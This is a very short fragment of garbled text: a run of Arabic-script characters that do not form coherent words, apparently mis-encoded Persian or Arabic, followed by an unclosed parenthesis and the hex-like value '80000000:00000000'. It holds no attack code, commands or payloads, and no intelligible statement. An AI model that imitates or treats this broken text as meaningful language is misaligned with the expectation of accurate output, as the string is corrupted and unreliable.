 .فغاسْاًی كضٍ اؿت (80000000:00000000


